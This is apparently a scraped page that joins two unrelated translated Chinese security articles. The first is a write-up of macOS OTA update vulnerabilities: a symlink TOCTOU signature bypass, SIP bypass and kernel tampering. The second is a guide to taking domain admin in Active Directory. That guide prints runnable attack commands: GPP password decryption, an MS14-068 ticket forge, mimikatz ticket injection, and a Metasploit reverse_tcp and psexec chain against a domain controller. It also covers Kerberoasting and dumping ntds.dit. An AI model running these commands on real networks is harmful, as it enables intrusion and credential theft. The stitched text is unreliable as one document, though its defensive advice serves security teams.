handler(Handler主要用于异步消息的处理:当发出一个消息之后,首先进入一个消息队列,发送消息的函数即刻返回,而另外一个部分在消息队列中逐一将消息取出,然后对消息进行处理,也就是发送消息和接收消息不是同步的处理。 )方法中,我们可以看到它通过一个全局数组来调度xpc请求: 如果xpc客户机具有相应请求所需的权限,则服务将相应地调用处理例程函数。 全局调度表有7个元素,每个元素有3个成员:操作的名称、所需的权限字符串和实际处理例程函数的地址。 绕过签名验证(CVE-2022-42791) 修改包 可以在应用补丁之前修改OTA包吗? 回顾之前讨论过更新的第二阶段,可以确认OTA包的最终路径(/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/)被SIP保护。 但是,提取的内容首先被放置在一个临时位置(/var/folders/zz/zyxvpxvq6csfxvn_n00000y800007k/T/ com.apple.nsurlsessiond/CFNetworkDownload_XXXXXX.tmp/[hash].asset),完全不受限制,它由nsurlsessiond所有,根用户可以直接修改它。 因此,在mobileasseted进程移动到最终可信位置之前,有一个修改内容的时间窗口。因此,可信位置中的OTA包的内容是不可信的,需要进行验证。 当我尝试替换有效负载时。由于权限问题,mobileassetd进程无法调用文件API,因此拒绝移动到最终路径: 但事实是,一旦通过检测,它将调用API rename来移动包内容。所以我很早就替换了目标文件。 但一个成功的日志是什么样的呢,如下图所示: 幸运的是,有一个关键字字符串(“Moving file in …”) 表明通过检查的时间窗口。因此,一旦从日志中监控到该关键字,我就可以替换目标文件。 接下来,我将进行第二次尝试: 监控日志,一旦检测到关键字“Moving file”,就立即从OTA包中替换目标文件。 然后,被篡改的内容成功地传输到最终的可信位置! 但是,UpdateBrainService停止准备操作系统更新。 OTA包验证 此服务的职责是从可信位置验证不可信的OTA包的内容。那么,它如何验证OTA包呢? 如上所述,payload.bom文件列出OTA包中的所有项目及其校验和值: 下面是验证包内容的函数: 它打开文件payload.bom并读取其内容。接下来,该函数将payload.bom文件中指定的文件摘要值与最终路径上的真实摘要值进行比较: 如果其中一个摘要值不等于期望值,则该函数返回false并且验证失败。 它如何验证payload.Bom文件本身? 另一个名为verify_package_signature的函数负责验证: 首先,它打开payload.bom文件并计算其SHA1值。然后打开payload. dom .signature文件并读取签名文件内容。 接下来,它从系统证书文件(/System/Library/SoftwareUpdateCertificates/iPhoneSoftwareUpdate.pem)中获取公钥,该文件受SIP和SSV保护: 最后,它通过调用来自Security.framework的API seckeyverifysignsignature,用公钥计算出的SHA1值和签名文件内容验证签名: TOCTOU漏洞 这样,在验证中存在一个经典的TOCTOU (Time-Of-Check-Time-Of-Use)漏洞: 位于受信任位置的payload.bom文件不能直接修改,但我们可以在mobileassetd进程移动OTA包之前用符号链接替换它。因此,可以使用符号链接随时修改payload.bom文件。 接下来,在函数verify_package_signature中,它根据符号链接从受控位置读取BOM文件,因此我们使用原始payload.BOM来通过检查。 然后在函数verify_package_contents中,它也遵循符号链接并使用受控BOM文件验证OTA包中的所有其他项。所以现在,我们可以模拟payload.bom文件以替换OTA包中的所有其他项。 经过三次尝试,终于实现了: 将原始payload.bom复制到受控位置/tmp/ppayload.bcom。 监控日志,一旦检测到关键字“Moving file”,就用指向/tmp/playload.bom的符号链接替换payload.bom。 符号链接(/tmp/payload.bom)已成功移动到最终受信任的位置! 在传递函数verify_package_signature后,伪造BOM文件(/tmp/payload.bom) 。 现在,OTA包中的所有项目都可以被篡改! 漏洞利用1:SIP绕过 第一个漏洞是绕过SIP,这很容易做到。 函数ParallelPatchRemoveFiles读取OTA包中的deleted .txt文件,并删除txt文件中指定的所有项: 因此,我可以通过修改txt文件获得一个原语来删除任意受sip保护的路径。 该漏洞适用于所有Mac平台,包括英特尔Mac和Apple Silicon Mac。 漏洞利用2:攻击内核 那么,我可以劫持新的操作系统内核吗? 使用SSV 绕过SIP后直接劫持OS内核的挑战是SSV保护。 signed system volume (SSV)是macOS Big Sur中引入的新功能。在SIP被绕过的情况下,它仍然使用隔离的只读系统卷来保护系统文件。 最基本的事实是,苹果需要通过OTA更新来更新操作系统内核文件。因此,OTA更新过程必须具备突破SSV保护的能力。 但是这个过程是如何完成的呢? macOS系统有一个隐藏的更新卷 (/System/Volumes/Update/mnt1),它是当前操作系统的快照。然后将所有补丁应用于该快照。如果更新过程成功,它将更新密封值并引导新的操作系统。如果更新失败,它将恢复到以前的快照。 在深入研究了UpdateBrainService之后,我总结了OTA更新过程中的关键工作流,如下所示: 首次尝试 首次尝试是通过有效负载提取函数释放一个精心制作的内核文件。 制作data_payload的步骤如下: 在OTA更新过程中,按照预期将精心制作的data_payload提取到快照中。 不过,重启后它就不起作用了,目前还不确定是什么原因。 第二次尝试 我的第二种方法是滥用应用修复的copy_patched_files函数。这与OTA更新过程更新内核的方式相同。 然而,困难在于我必须自己创建修复文件,它是BXDIFF 5格式的,并且没有文档记录。所以,我必须先研究一下文件格式。 BXDIFF 5文件格式 谷歌搜索这个文件格式后,我找到两个GitHub存储库,它们都用于将修复文件应用于旧文件,然后生成新文件。但是,我需要基于两个不同的文件生成一个修复文件。 但它们确实帮助我理解了文件格式,通过阅读代码,我知道BXDIFF 5文件由4部分组成:Header, Control, Diff和Extra。 Header部分的大小为88字节,前8个字节是硬编码的魔术数字: 红色的部分是未知的,似乎是无用的。绿色部分为修复前后的哈希值,用于验证修复是否成功。蓝色部分是以下部分的大小。 Control部分使用LZMA算法进行压缩,解压后的Control段数据为24字节,由3种控制命令组成: 第一个是混合长度,它指定从Diff部分混合多少字节。第二个是复制长度,第三个是查找长度。 Diff部分和Extra部分也是LZMA压缩的。解压缩后,数据是一个原始字节数组,以前由Control部分使用。 制作一个精心制作的修复程序文件 我的目标是替换内核中系统命令uname的输出字符串。所以我应该修改Diff部分。 首先,使用以下脚本计算Diff节中的新字节。 然后计算当它到达inputSeekPosition时的diffSeekPosition。 我发现我的目标字符串“Darwin Kernel Version”位于偏移量0x95058d处。因此,我使用这个值作为inputSeekPosition,然后得到相应的diffSeekPosition。 接下来,重写diffSeekPosition处的新字节,并使用LZMA算法压缩新创建的Diff 部分。我们可以直接重用Control部分和Extra部分。 最后,更新新Header 部分中的哈希值和大小在我为内核制作了一个修复文件之后,它就如预期的那样工作了! 虽然它只适用于没有T2芯片的英特尔Mac电脑,但我能够将恶意shellcode 注入内核,并在ring 0执行任意代码!Ring0是CPU工作在保护模式下的一种特权模式,也称为内核模式或系统模式。在这种模式下,CPU能够访问所有的系统资源,包括内存、设备、引导程序和所有进程的地址空间。 相对于其他环节,ring0级别具有最高权限。它拥有锁定内存、直接访问硬件、中断处理、定时器、缓存管理等很多特权。 ring0属于操作系统内核,只有操作系统内核可以运行在ring0级别,这使得操作系统可以对计算机硬件进行直接的管理和控制。 硬件缓解:安全启动 其他Mac平台(Intel Mac with T2 Chip & Apple Silicon Mac)面临的挑战是名为“安全启动”的硬件缓解措施。默认设置是“完全安全”,它提供了最高级别的安全。 在启动过程中,Mac会验证启动磁盘上操作系统的完整性,以确保它是合法的。如果操作系统是未知的或无法验证为合法的,你的Mac连接到苹果下载更新的完整性信息,它需要验证操作系统。这些信息是你的Mac所独有的,它可以确保你的Mac从一个受苹果信任的操作系统启动。 苹果的修复过程 苹果是这样修复这个漏洞的: 在第180行,它调用函数digest_file_nofollow来计算SHA1值。在内部,它打开带有NO_FOLLOW标志的payload.bom文件以阻止符号链接攻击。 SIP绕过漏洞(CVE-2022-46722) 我们可以从下面的屏幕截图中看到: 解压的文件夹本身是受限制的,但其中的文件和文件夹不受限制。 一个例子是名为AssetData的文件夹。因此,我们可以直接修改OTA包的内容,即使它们被移动到最终的可信位置! 所以验证OTA包的完整性是没有用的。我们可以在OTA包通过包验证后,通过修改包内容直接获得sip绕过原语。 根本原因 通过我的研究,我意识到问题的根源在于进程mobileassetd中名为moveTargetToDirectory的函数: 它通过调用API moveItemAtURL:toURL:来移动OTA包内容,它本身保留了源文件标志和扩展属性。 最终路径上的内容不受限制,因为源文件不受限制。 苹果的修复 现在,苹果公司已经解决了这个漏洞: 它首先使用API moveItemAtURL:toURL:将OTA包内容复制到中间路径,然后在复制后使用API moveItemAtURL:toURL: 。 现在,最终路径上的内容将受到限制,因为被移动的进程写入的文件受到限制。 绕过SIP后如何直接攻击内核? 如上所述,我们可以通过通过sip绕过原语替换内核修复文件来执行任意内核代码,就像上述利用2中所做的那样。 但这有点复杂,我可以直接从快照替换受限制的内核文件本身吗? 研究发现,如果更换得太晚,重启后它将无法工作。但是,如果我过早地替换它,新内核将被补丁覆盖。那么从快照替换内核文件的正确时间是什么时候呢?我怎样才能抓住这个时间呢? 通过监控/System/Volumes/Update/restore.log,我发现它在打补丁的过程中输出了一些有用的信息。当所有补丁都被应用后,它进入下一阶段并输出日志“Unarchiving files in parallel…”: 所以我写了一个名为spin_for_log的函数来等待所有补丁启动的正确时刻: 接下来,我可以直接从快照中将原始内核替换为被恶意攻击的内核。 如上所述,它只适用于没有T2芯片的英特尔mac电脑,而T2芯片没有安全启动缓解功能。 现在我们知道UpdateBrainService的职责是验证不受信任的OTA包的内容。验证依赖于文件payload.bom。 但是,我发现并不是OTA包中的所有文件都在BOM文件中列出: 例如:usr/standalone/update/ramdisk/, Restore/, boot/* 漏洞利用 这使得许多关键文件不受保护: 所以有很多方法可以利用这个问题。 首先,删除并触发文件AssetData/usr/standalone/update/ramdisk/x86_64SURamDisk.dmg 将导致DoS漏洞。 其次,通过修改Firmware/*文件夹的内容劫持固件。 第三,修改文件AssetData/boot/Ffirmware/System/Library/CoreServices/bootbase.efi,从第一条指令劫持引导过程,并将最早的shell代码注入系统。 bootbase.efi文件采用Windows PE格式。我没有开发自己的EFI程序来改变操作系统的引导过程。为了快速验证概念,我刚刚将入口点代码修复为“0xEB 0xFE”,这是一个用于死循环的短跳转指令: 更换bootbase.efi文件并重新启动后,系统将陷入死循环,为了验证这一点,我设置了一个远程GDB存根,并在IDAPro中远程连接到它。因此,你可以看到我的shell代码确实按预期在EFI shell中执行! 为了有效地验证OTA包的完整性,有必要从payload.bom文件中列出OTA包中的所有项目。 降级攻击(CVE-2023-35983) UpdateBrainService的主要可执行文件是一个空调用程序: 所有函数都在UpdateBrainLibrary.dylib中实现。当然,新的补丁代码也包含在dylib中。 因此,攻击者可以通过替换旧版本的dylib来执行降级攻击,旧版本的dylib由apple签名并通过库验证。 与OTA更新包类似,UpdateBrainService bundle包也可以由root用户修改。因此,攻击者可以在将UpdateBrainService移动到受信任位置之前用旧版本替换它,然后再次利用旧漏洞。 现在,苹果重构了整个流程。它确保整个过程是可信的,并且包的内容不被篡改: 首先,进程nsurlessiond创建一个名为downloadDir的受限目录,然后将UpdateBrainService bundle包下载到受信任的位置。接下来,新引入的服务com.apple.StreamingUnzipService.privileged.xpc在受信任的位置并行执行解压缩。 下载和解压缩操作完成后,以后的过程类似。 请注意,进程nsurlsessionnd和com.apple.StreamingUnzipService.privileged.xpc现在有了新的特殊权限com.apple.rootless.storage.MobileAssetDownload来修改受限制的目录。 顺便说一句,OTA软件包的下载也遵循这一新流程。
-
Active Directory中获取域管理员权限的攻击方法
Active Directory中获取域管理员权限的攻击方法 译:by backlion 0x00 前言 攻击者可以通过多种方式在Active Directory中获得域管理员权限, 这篇文章是为了描述当前使用的一些当前热门的内容, 这里描述的技术“假设违规”,攻击者已经在内部系统上获得权限,并获得域用户认证凭据(又称后渗透利用)。 对于大多数企业而言,不幸的事实是,攻击者通常不会花更长时间从普通域用户转到域管理员。受害者的问题是:"这是怎么发生的?"。攻击者经常以鱼叉式的钓鱼电子邮件开始给一个或多个用户发送邮件,使被攻击者能够在目标网络中的计算机上运行他们的代码。一旦攻击者的代码在企业内部运行,第一步是进行信息收集,以发现有用的资源来进行提权、持久性攻击,当然,还包括截取信息。 虽然整个过程细节各不相同,但总体框架仍然存在: 1.恶意软件注入(网络钓鱼,网络攻击,等等) 2.信息探测(内部) 3.凭据盗窃 4.攻击与权限提升 5.数据访问和泄露 6.持久性(会话访问) 我们从攻击者获取到企业内部普通权限开始,因为在当前环境网络中通常并不困难,此外,攻击者通常也不难从普通客服端上的用户权限提升为具有本地管理员权限。此用户提权可以通过利用系统上未修补的补丁漏洞或更频繁地发现在SYSVOL中查找到本地管理员的密码,例如组策略首选项。 0x01 SYSVOL和组策略首选项中的密码获取 这种方法是最简单的,因为不需要特殊的“黑客”工具,所有的攻击方法必须是打开Windows资源管理器并搜索域名为SYSVOL DFS共享的XML文件。在大多数情况下,XML格式的文件包含密码凭据有:groups.xml,scheduledtasks.xml和&Services.xml等很文件。SYSVOL是Active Directory中的所有经过身份认证的用户具有可读可访问权限的域共享目录文件。SYSVOL包含登录脚本,组策略数据以及需要在具有任何域控制器地方可用的域数据(由于SYSVOL在所有域控制器之间自动同步并共享)。所有域组策略都存储的位置:\\<DOMAIN>\SYSVOL\ <DOMAIN>\ Policies \ 当创建新的GPP时,就会在SYSVOL中创建一个与相关配置数据关联的XML文件,如果提供了密码,那么AES-256位加密应是足够强的。微软在MSDN上发布了可用于解密密码的AES加密密钥(共享密钥),连接地址: https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx(可用于解密密码)由于经过身份认证的用户(任何域用户或受信任域中的用户)都具有对SYSVOL的可读权限,所以域中的任何人都可以搜索包含“cpassword”关键字的XML文件中的SYSVOL共享,该文件是包含AES加密密码值。 通过访问此XML文件,攻击者可以使用AES私钥来解密GPP密码, PowerSploit项目中的Get-GPPPassword脚本可用来解密,其连接地址为: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1 使用方法: powershell import-modulo .\Get-GPPpassword.ps1;Get-GppPassword 以下截图显示了从SYSVOL中的XML文件解密GPP密码: 其他文件类型也可具有解密(通常为明文),如vbs和bat。 安全建议: 在用于管理GPO的每台计算机上安装KB2962486补丁,以防止新的凭据被写入到组策略首选项中 删除包含密码的SYSVOL中出现的GPP xml文件。 不要将密码放在所有未经过身份验证的用户可访问的文件中。 0x02 利用域控制器上的MS14-068 Kerberos漏洞 自从MS14-068被修补了KB3011780补丁以来。有可用的检测方法来确保使用MS14-068的尝试被识别,但是,这并不意味着域控制器打了补丁或检查已正确配置。大多数企业在补丁发布的一个月内使用KB3011780进行了修补域控制器,然而,并不是所有的都确保每个新的域控制器都安装了补丁,才能成为一个安全的DC域控制器。 感谢Gavin Millard(@gmillard在Twitter上),在这下面的截图中,更好地阐述了这个问题: 简单地说,利用MS14-068攻击需要不到5分钟的时间,使攻击者重写一个有效的Kerberos TGT身份验证机票,并且,使其成为域管理员(和企业管理员)。如上图所示,这就像采取有效的登机密码,在登机前,写上“飞行员”。 然后在登机时,你被护送到驾驶舱,问你是否在起飞前要喝咖啡。 第一次发布的MS14-068漏洞是在发布补丁后的2周,由SylvainMonné(@BiDOrD)撰写,称为PyKEK(https://github.com/bidord/pykek/archive/master.zip), PyKEK是一个Python脚本,可以在网络上的任何地方运行具有安装python程序的系统,只要在未打补丁的DC域中使用PyKEK生成ccache文件,并使用Mimikatz将TGT注入到内存中,提升为域管理员!使用这张票,可以无需密码访问DC域控制器上的admin $ 或者c$共享。 测试环境: kalix86 IP地址:192.168.1.102 未加入域能和win2008r2通信 win7x86 ip地址:192.168.1.108 加入到域bk.com,普通域账号test 登录 win2008r2x64 ip地址:192.168.1.106 DC域控制器,主机名为:DC.bk.com 具体步骤如下: 1.导出当前登录账号test的sid值: whoami/all>sid.txt 2.查看当前域控主机名: dsquery server && net time /domain 3.生成TGT: python ms14-068.py -u [email protected] -s S-1-5-21-3151896982-173628731-3220273337-1007 -d DC. bk.com 4.注入生成的TGT并获得有效的TGS: mimikatz.exe "kerberos::ptc [email protected]" exit 注意:只有当同一个Active Directory站点中有一个未打补丁的主DC和一个已修补的副DC时,PyKEK才有时会成功。成功的利用取决于什么DC PyKEK连接到。所有漏洞利用阶段都可以在没有管理员帐户的情况下执行,并且可以在网络上的任何计算机上执行(包括未加入域的计算机)。 获取TGA的方法: 在windows系统下: python ms14-068.py -u [email protected] -s S-1-5-21-3151896982-173628731-3220273337-1007 -d DC. bk.com 在kali系统下: Kali下面默认还没有安装kerberos的认证功能,所以我们首先要安装一个kerberos客户端: apt-get install krb5-user 然后手动设置IP地址,并将本机的DNS设置为目标域控制器主机的IP地址,这里设置为DC.bk.com对应主机IP:192.168.1.106 在msf下: msf > use auxiliary/admin/kerberos/ms14_068_kerberos_checksum msf>show options msf auxiliary(ms14_068_kerberos_checksum) > set DOMAIN bk.com msf auxiliary(ms14_068_kerberos_checksum) > set PASSWORD [email protected] msf auxiliary(ms14_068_kerberos_checksum) > set USER test msf auxiliary(ms14_068_kerberos_checksum) > set USER_SID S-1-5-21-3151896982-173628731-3220273337-1007 msf auxiliary(ms14_068_kerberos_checksum) > set RHOST DC.bk.com msf auxiliary(ms14_068_kerberos_checksum) > run mimikatz # kerberos::clist " 20170712232847_default_192.168.1.106_windows.kerberos_515998.bin" /export msf auxiliary(ms14_068_kerberos_checksum) > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.1.102 msf exploit(handler) > exploit meterpreter > getuid meterpreter > load kiwi meterpreter > kerberos_ticket_use /tmp/[email protected] meterpreter > background msf exploit(handler) > sessions msf exploit(handler) > use exploit/windows/local/current_user_psexec msf exploit(current_user_psexec) > set TECHNIQUE PSH msf exploit(current_user_psexec) > set RHOSTS DC.bk.com msf exploit(current_user_psexec) > set payload windows/meterpreter/reverse_tcp msf exploit(current_user_psexec) > set lhost 192.168.1.102 msf exploit(current_user_psexec) > set SESSION 1 msf exploit(current_user_psexec) > exploit meterpreter > getuid MS14-068漏洞利用过程: 1.请求没有PAC作为普通用户的Kerberos TGT身份验证凭证,DC使用TGT进行回复 2. 生成一个没有密钥伪造的PAC,所以生成PAC域用户密码数据是使用MD5算法而不是HMAC_MD5“签名”。 3. 将没有PAC的TGT发送到DC,将伪造的PAC作为授权数据TGS服务票证请求的一部分 4. DC似乎被这个混淆了,所以它丢弃用户发送没有PAC的TGT,创建一个新的TGT,并将伪造的PAC插入到自己的授权数据中,并将这个TGT发送给用户 5. 具有伪造PAC的TGT使用户能够成为易受攻击的DC的域管理员。 Benjamin Delpy(Mimikatz的作者)写了一个叫做Kekeo的MS14-068漏洞利用工具(https://github.com/gentilkiwi/kekeo/releases),它能找到并定位一个易受攻击的DC,并且可以在其执行,无论是否安装了补丁的2012 / 2012R2 DC的主机上,它具有与PyKEK相同的利用攻击方法,但是在结束时增加了另一个步骤,导致有一个有效的TGT,可以呈现给域中的任何DC,它通过使用生成的TGT来获取在任何地方执行的模拟TGT。 安全建议: 在每个AD域中安装KB3011780 。作者上传传了一个示例脚本,以获取所有域控制器的KB3011780补丁状态:Get-DCPatchStatus(将文件扩展名更改为.ps1) 对于不是域管理组成员的用户(可以登录到域控制器的默认组),监视事件ID 4672 : 企业管理员(管理员在森林中的所有DC), 域管理员 普通管理员 服务器管理员 备份操作员 账户操作员 打印操作员 委派其他登录到域控制器的组 监视事件ID 4769 Kerberos Service Ticket Operation事件,显示失败的尝试获取Kerberos服务票证(TGS) 0x03 Kerberos TGS票离线破解(Kerberoast) Kerberoast可以作为普通用户从Active Directory中提取服务帐户凭据而不向目标系统发送任何数据包的有效方法。这种攻击是有效的,因为人们往往会使用较弱的密码。这种攻击成功的原因是大多数服务帐户密码与域密码最小值(通常为10或12个字符长)的长度相同,意味着即使暴力破解也不会超过密码最大爆破时间。其中大多数服务帐户并没有密码设置为过期时间,因此,可能有几年,几个月没有更改密码,此外,大多数服务帐户都被特权许可,通常是提供完整管理员的域管理员成员Active Directory权限(即使服务帐户只需要修改特定对象类型上的属性或特定服务器上的管理员权限)。 注意:当针对Windows系统托管的服务时,这种攻击将不会成功,因为这些服务被映射到Active Directory中的计算机帐户,该帐户有一个相关的128字符密码,不会很快被破解。 此攻击涉及为目标服务帐户的服务主体名称(SPN)请求Kerberos服务票证(TGS),该请求使用有效的域用户身份验证票据(TGT)为服务器上运行的目标服务请求一个或多个服务票证。域控制器不会跟踪用户是否实际连接到这些资源(或者即使用户有访问权限),域控制器在Active Directory中查找SPN,并使用与SPN相关联的服务帐户加密票据,以便服务验证用户访问权限,所请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。Kerberoast可以尝试通过不同的NTLM散列来打开Kerberos票证,并且当票证成功打开时,会发现正确的服务帐户密码。 Active Directory环境中发现服务的最佳方式是通过“SPN扫描” 攻击者通过SPN扫描的主要作用是不需要连接到网络上的每个IP以检查服务端口。SPN扫描通过LDAP查询域控制器以便发现服务。由于SPN查询是正常Kerberos票证执行的一部分,所以很难安全设备被探测到,而netowkr端口扫描是相当明显的,容易被发现。 以下是SPN扫描含有SQL服务的主机服务: 其探测脚本: https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Discover-PSMSSQLServers 识别目标后,我们使用PowerShell来请求此服务主体名称(SPN)的服务票证:请注意,请求的服务票证是具有RC4加密类型 以下查看到一个数据包的捕获,我们可以看到Kerberos通信,并注意到该通信加密是RC4-HMAC-MD5。 wrhshark抓包分析: 一旦客户端接收到票据,我们可以使用Mimikatz(或其他)在用户的内存中导出所有Kerberos票证,而不会进行权限提升。 将服务票据导出后,该文件可以拷贝到正在运行Kerberoast的 Kali Linux的主机。利用我们的wordlist密码字典,可能会破解与票证(文件)相关联的服务帐户的密码。 注意:获得服务票不需要提高权限,也不会向目标发送任何流量。 另外有几个有趣的服务是利用SPNs进行Kerberos Auth,可通过简单的AD搜索来发现: 交换* HTTP LDAP NFS * SQL * WSMAN posershel探测脚本: https://github.com/PyroTek3/PowerShell-AD-Recon Tim Medin在DerbyCon 2014上发表了他的“攻击微软Kerberos的演示文稿(幻灯片和视频),同时github上他发布了Kerberoast Python TGS破解。 安全建议: 最有效地减轻这种攻击是确保服务帐户密码超过25个字符。 托管服务帐户和域管理服务帐户是确保服务帐户密码长的好方法,复杂密码,定期更换密码。提供密码保管的第三方产品也是管理服务帐户密码的解决方案 0x04 票据凭证的盗取 这通常很快导出域管理员凭据,因为大多数Active Directory管理员使用用户帐户登录到他们的工作站,然后使用RunAs(将其管理员凭据放在本地工作站上)或RDP连接到服务器(可以使用键盘记录器抓取凭据)。 步骤1:攻击单个工作站,并利用系统上的权限升级漏洞获得管理权限。运行Mimikatz或类似以转储本地凭据和最近登录凭据。 步骤2:使用从步骤1收集的本地管理员凭据,尝试向具有管理员权限的其他工作站进行身份验证,这通常是成功的。如果您在许多或所有工作站上拥有相同的管理员帐户名称和密码,请在一个工作站上获取帐户名称和密码,那么意味着拥有管理员权限。连接到其他工作站并转储凭据,直到收到域管理员帐户的凭据。使用本地帐户登录是最佳的,因为不会到登录域控制器,并且很少有企业将工作站安全日志发送到中央日志记录系统(SIEM) 步骤3:利用被盗凭证连接到服务器以收集更多凭据,运行Microsoft Exchange客户端访问服务器(CAS)等应用程序的服务器,Microsoft Exchange OWA,Microsoft SQL和终端服务(RDP)往往在最近经过身份验证的用户(或可能具有域管理员权限的服务)的内存中拥有大量凭据。 步骤4:使用被盗的域管理员凭据,任何事情都不能阻止攻击者销毁所有的域登录凭据并持久存在。 注意:使用域管理员帐户登录到计算机将凭据存放在LSASS(受保护的内存空间)中。具有管理员权限(或本地系统)到此计算机的LSASS转储凭据,并可以重复使用这些凭据。 使用普通帐户登录到计算机,并通过在RDP凭据中输入域管理员凭证来打开服务器的RDP会话窗口向系统上运行键盘记录器(可能是以前危及用户帐户或计算机的攻击者)公开了Domain Admin凭据。 如果服务部署到具有域管理员权限的服务帐户上中运行,那么所有工作站或所有服务器(或两者)只有一个系统受到危害才能危及整个Active Directory域,当服务以显式凭据启动时,凭据将加载到LSASS中,以使服务在这些凭据的上运行。 通常,PowerShell是一种最佳的管理方法,因为通过PowerShell远程处理连接到远程系统(通过Enter-PSSession或Invoke-Command)是网络登录 - 没有凭据存储在远程系统的内存中。这是理想的,而微软正在通过管理员模式将RDP转变,有一种通过PowerShell远程连接到远程系统的方法,并能够通过CredSSP使用凭据,问题是CredSSP不安全 通过散列演变成Pass-the-Credential 大多数人都听说过通过哈希传递(PtH),它涉及发现与帐户相关联的密码哈希(通常是NTLM密码哈希)。有趣的是,在Windows网络中,不需要破解散列哈希来发现相关的密码,哈希是用于证明身份(标识的帐户名称和密码哈希是所有需要验证),微软的产品和工具显然不支持传递哈希,因此需要使用第三方工具,如Mimikatz。 一旦发现密码哈希,Pass-the-Hash为攻击者打开了很多后门,但还有其他选择。Pass-of-Ticket(PtT)涉及到抓住现有的Kerberos票证并使用它来模拟用户。Mimikatz支持收集当前用户的Kerberos票证,或者为系统验证的每个用户收集所有Kerberos票证(如果配置了Kerberos无约束委托)一旦获得Kerberos票证,他们可以使用Mimikatz传递,并用于访问资源(在Kerberos票据生命周期内)。 OverPass-the-Hash(又称Pass-the-Key)涉及使用密码哈希来获取Kerberos票证。此技术清除当前所有用户的现有Kerberos密钥(哈希值),并将获取的哈希值注入到Kerberos票据请求的内存中,下一次Kerberos票证需要资源访问时,注入的散列(现在是内存中的Kerberos密钥)用于请求Kerberos票证。Mimikatz提供执行OverPass-the-Hash的功能。这是比PtH更方便的方法,因为有方法可以检测PtH的攻击。 注意:如果获取的散列是NTLM,Kerberos票是RC4。如果散列是AES,则Kerberos票使用AES 主要的凭证盗取的方法: 通过哈希传递:抓取哈希并访问资源。用户更改帐户密码之前,哈希才有效。 Pass-the-Ticket:获取Kerberos机票并用于访问资源。机票有效期至票证生效期满(通常为7天)。 OverPass-the-Hash:使用密码哈希来获取Kerberos票证。用户更改帐户密码之前,哈希才有效。 0x05获取Active Directory数据库文件(ntds.dit)的访问权限 Active Directory数据库(ntds.dit)包含有关Active Directory域中所有对象的信息,此数据库中的数据将复制到域中的所有域控制器中,该文件还包含所有域用户和计算机帐户的密码哈希值,域控制器(DC)上的ntds.dit文件只能由可以登录到DC的用户访问。显然,保护这个文件是至关重要的,因为访问ntds.dit文件可能会导致完整的域和林危害。 这是一个(非全面的)一些方法来获取NTDS.dit数据而不是域管理员: 备份位置(备份服务器存储,媒体和/或网络共享): 使用备份共享中的ntds.dit文件访问DC备份。确保存储DC备份的任何网络可访问,只有域管理员才能访问它们,还有什么账户呢?他们是域管理员! 在升级到域控制器之前,查找在成员服务器上分段的NTDS.dit文件 IFM与DCPromo一起使用“从媒体安装”,因此正在升级的服务器不需要通过网络从其他DC复制域数据,IFM集是NTDS.dit文件的副本,可以在共享上分享以更新DC,或者可能在尚未升级的新服务器上找到。此服务器可能未正确保护 通过对虚拟化主机的管理权限,可克隆虚拟DC并将关联的数据脱机复制。 访问虚拟DC存储数据并访问域凭据。VCenter Admins是完整的管理员(DA相当于VMWare)。使用VCenter Admin权限:克隆DC并将数据复制到本地硬盘驱动器。当VM挂起时,也可以从VM内存中提取LSASS数据,不要低估虚拟管理员对虚拟域控制器的影响力。您的VCenter管理员组在AD授予相应管理组的适当权限,不要为攻击者提供管理员帐户后门AD的能力。您的虚拟管理员需要被视为域管理员。 攻击有权限的登录域控制器的帐户。 Active Directory中有几个组最不希望对域控制器具有默认登录权限。 这些组可以默认登录到域控制器: Enterprise Admins(林中每个域中的域管理员组成员) Domain Admins(域管理员组的成员) Administrators Backup Operators Account Operators Print Operators 这意味着如果攻击者可能会攻击帐户操作员或打印操作员中的帐户,则Active Directory域可能会受到影响,因为这些组对域控制器具有登录权限 安全建议: 限制有权登录到域控制器的组/帐户。 限制具有完整Active Directory权限的组/帐户,特别是服务帐户。 保护Active Directory数据库(ntds.dit)的每个副本,并且不要放置4.在比域控制器低的信任级别的系统上。 那么当一个帐户被授权给域控制器的登录权限时会发生什么?如果该帐户对域控制器具有管理员权限,则在DC上转储证书是不成功的使用,Mimikatz转储所有域凭据,Mimikatz可用于从域控制器转储所有域凭据。 1.使用Mimikatz转储LSASS内存(获取域管理员凭据) Mimikatz可用于转储LSASS,然后从不同系统上的LSASS.dmp文件中提取登录凭据。在域控制器上,这能够导出域管理员凭据 使用任务管理器转储LSASS内存(获取域管理员凭据) 一旦LSASS被转储,可以使用Mimikatz从不同系统上的LSASS.dmp文件中提取登录的凭据。 2.使用NTDSUtil(Grab NTDS.dit文件)创建从媒体安装(IFM) NTDSUtil是用于与AD和 DB(ntds.dit)进行本机配合的命令实用程序,并启用了DCPromo的IFM集创建,IFM与DCPromo一起使用“从媒体安装”,因此正在升级的服务器不需要通过网络从其他DC复制域数据,FM集是在此实例中的c\ temp中创建的NTDS.dit文件副本, 该文件可能会在共享上进行升级以更新DC,或者可能在未升级的新服务器上找到该文件,此服务器可能未正确保护 从NTDS.dit文件(和注册表系统配置单元)转储Active Directory域凭据。 一旦攻击者拥有NTDS.dit文件的副本(以及某些注册表项来解密数据库文件中的安全元素),可以提取Active Directory数据库文件中的凭据数据。一旦攻击者从注册表和NTDS.dit fie获取系统配置单元, 以下截图来自一个安装了Impacket python工具: 截至2015年10月,还有一个Windows方法利用PowerShell方法从DSInternals.com的NTDS.dit文件(和注册表系统配置单元)中转储Get-ADDBAccount(https://www.dsinternals.com/en/dumping-ntds-dit-files-using-powershell/)的凭据(虽然它仅适用于Windows 8和Windows Server 2012及更早版本,因为Windows版本较早)。 3.使用VSS卷影副本远程拉取ntds.dit(通过WMI或PowerShell Remoting) Windows有一个名为WMI的内置管理组件,可实现远程执行(需要管理员权限)。WMIC是在远程计算机上执行的WMI命令工具。 Matt Graeber在Black Hat USA 2015(论文,幻灯片和视频)上介绍了如何利用WMI进行攻击方法。马特还在DEF CON 23(视频)与同事交谈,进一步攻击WMI能力(再次在DerbyCon - 视频) 利用WMIC(或PowerShell远程处理)创建(或复制现有的)VSS 一旦VSS快照完成,然后将NTDS.dit文件和System注册表配置单元从VSS复制到DC上的c:驱动器 